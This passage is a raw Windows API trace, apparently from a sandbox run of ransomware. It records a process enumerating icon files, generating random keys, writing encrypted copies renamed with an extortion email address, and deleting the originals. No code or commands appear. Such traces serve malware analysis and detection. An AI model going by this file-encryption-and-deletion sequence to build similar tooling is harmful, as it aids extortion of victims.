dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0114.946] GetLastError () returned 0x0 [0114.946] GetCurrentThreadId () returned 0x9b0 [0114.946] GetLastError () returned 0x0 [0114.946] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0114.946] GetLastError () returned 0x0 [0114.946] GetCurrentThreadId () returned 0x9b0 [0114.946] GetLastError () returned 0x0 [0114.946] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0114.946] GetLastError () returned 0x0 [0114.946] GetCurrentThreadId () returned 0x9b0 [0114.947] GetLastError () returned 0x0 [0114.947] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0114.947] GetLastError () returned 0x0 [0114.947] GetCurrentThreadId () returned 0x9b0 [0114.947] GetLastError () returned 0x0 [0114.947] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0114.947] GetLastError () returned 0x0 [0114.947] GetCurrentThreadId () returned 0x9b0 [0114.947] GetLastError () returned 0x0 [0114.947] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0114.947] GetLastError () returned 0x0 [0114.947] GetCurrentThreadId () returned 0x9b0 [0114.947] GetLastError () returned 0x0 [0114.947] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0114.948] GetCurrentThreadId () returned 0x9b0 [0114.948] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0114.949] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0114.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.950] GetCurrentThreadId () returned 0x9b0 [0114.950] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0114.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.950] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0114.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.951] GetCurrentThreadId () returned 0x9b0 [0114.951] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0114.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.951] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0114.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.952] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x382cf20 [0114.952] GetCurrentThreadId () returned 0x9b0 [0114.952] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0114.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.953] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0114.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.953] GetCurrentThreadId () returned 0x9b0 [0114.953] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0114.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.954] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0114.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.954] GetCurrentThreadId () returned 0x9b0 [0114.954] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x382cf20, Size=0x40) returned 0x38878d8 [0114.954] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0114.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.955] GetCurrentThreadId () returned 0x9b0 [0114.955] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0114.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.955] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0114.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.955] GetCurrentThreadId () returned 0x9b0 [0114.955] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0114.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.956] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0114.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0114.956] GetCurrentThreadId () returned 0x9b0 [0114.956] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0114.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0114.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.957] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Print.ico", lpFilePart=0x9bada4*="Print.ico") returned 0x28 [0114.957] GetCurrentThreadId () returned 0x9b0 [0114.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.957] GetCurrentThreadId () returned 0x9b0 [0114.957] GetCurrentThreadId () returned 0x9b0 [0114.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a3e8 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e)) returned 1 [0114.958] GetCurrentThreadId () returned 0x9b0 [0114.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664afc | out: pbBuffer=0x3664afc) returned 1 [0114.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0114.959] GetCurrentThreadId () returned 0x9b0 [0114.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0114.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.959] GetCurrentThreadId () returned 0x9b0 [0114.959] GetCurrentThreadId () returned 0x9b0 [0114.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.959] GetCurrentThreadId () returned 0x9b0 [0114.959] GetCurrentThreadId () returned 0x9b0 [0114.960] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.960] GetFileType (hFile=0x39c) returned 0x1 [0114.960] GetCurrentThreadId () returned 0x9b0 [0114.960] GetFileType (hFile=0x39c) returned 0x1 [0114.960] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.961] GetLastError () returned 0x0 [0114.961] GetCurrentThreadId () returned 0x9b0 [0114.961] GetLastError () returned 0x0 [0114.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a48 | out: hHeap=0x2ad0000) returned 1 [0114.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.961] GetLastError () returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] GetLastError () returned 0x0 [0114.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ad8 [0114.961] GetLastError () returned 0x0 [0114.962] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.962] GetFileType (hFile=0x3ac) returned 0x1 [0114.962] GetLastError () returned 0x0 [0114.962] GetCurrentThreadId () returned 0x9b0 [0114.962] GetLastError () returned 0x0 [0114.962] GetFileType (hFile=0x3ac) returned 0x1 [0114.962] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.962] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.963] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.963] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.963] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.963] GetLastError () returned 0x0 [0114.963] GetCurrentThreadId () returned 0x9b0 [0114.963] GetLastError () returned 0x0 [0114.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0114.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0114.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.963] GetLastError () returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GetCurrentThreadId () returned 0x9b0 [0114.964] GetLastError () returned 0x0 [0114.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.964] GetLastError () returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.964] GetCurrentThreadId () returned 0x9b0 [0114.964] GetLastError () returned 0x0 [0114.964] GetLastError () returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.966] GetCurrentThreadId () returned 0x9b0 [0114.966] GetLastError () returned 0x0 [0114.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x493) returned 0x35c5908 [0114.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x495) returned 0x35c5908 [0114.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6b18 [0114.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0114.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x498) returned 0x33f2338 [0114.966] GetLastError () returned 0x0 [0114.966] GetLastError () returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GetCurrentThreadId () returned 0x9b0 [0114.967] GetLastError () returned 0x0 [0114.967] GetCurrentThreadId () returned 0x9b0 [0114.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x495) returned 0x33ea018 [0114.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f2338 | out: hHeap=0x2ad0000) returned 1 [0114.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.967] GetLastError () returned 0x0 [0114.967] GetLastError () returned 0x0 [0114.967] GetCurrentThreadId () returned 0x9b0 [0114.968] GetLastError () returned 0x0 [0114.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea018 | out: hHeap=0x2ad0000) returned 1 [0114.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5da8 [0114.968] GetLastError () returned 0x0 [0114.968] GetLastError () returned 0x0 [0114.968] GetCurrentThreadId () returned 0x9b0 [0114.968] GetLastError () returned 0x0 [0114.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5da8 | out: hHeap=0x2ad0000) returned 1 [0114.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.968] GetLastError () returned 0x0 [0114.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.970] CloseHandle (hObject=0x3ac) returned 1 [0114.970] GetLastError () returned 0x0 [0114.970] GetCurrentThreadId () returned 0x9b0 [0114.970] GetLastError () returned 0x0 [0114.970] GetLastError () returned 0x0 [0114.970] CloseHandle (hObject=0x39c) returned 1 [0114.970] GetLastError () returned 0x0 [0114.971] GetCurrentThreadId () returned 0x9b0 [0114.971] GetLastError () returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] GetLastError () returned 0x0 [0114.971] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0114.972] GetLastError () returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.972] GetLastError () returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFilePart=0x9bada4*="Rotate1.ico") returned 0x2a [0114.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.973] GetLastError () returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.973] GetLastError () returned 0x0 [0114.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.974] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.975] GetLastError () returned 0x0 [0114.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.975] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0114.976] GetLastError () returned 0x0 [0114.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.976] GetLastError () returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.977] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1 [0114.977] GetLastError () returned 0x0 [0114.977] GetLastError () returned 0x0 [0114.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.977] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0114.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0114.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.978] GetLastError () returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.979] GetLastError () returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] GetLastError () returned 0x0 [0114.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0114.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a48 [0114.979] GetLastError () returned 0x0 [0114.979] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.980] GetFileType (hFile=0x39c) returned 0x1 [0114.980] GetLastError () returned 0x0 [0114.980] GetLastError () returned 0x0 [0114.980] GetFileType (hFile=0x39c) returned 0x1 [0114.980] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.980] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.980] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, 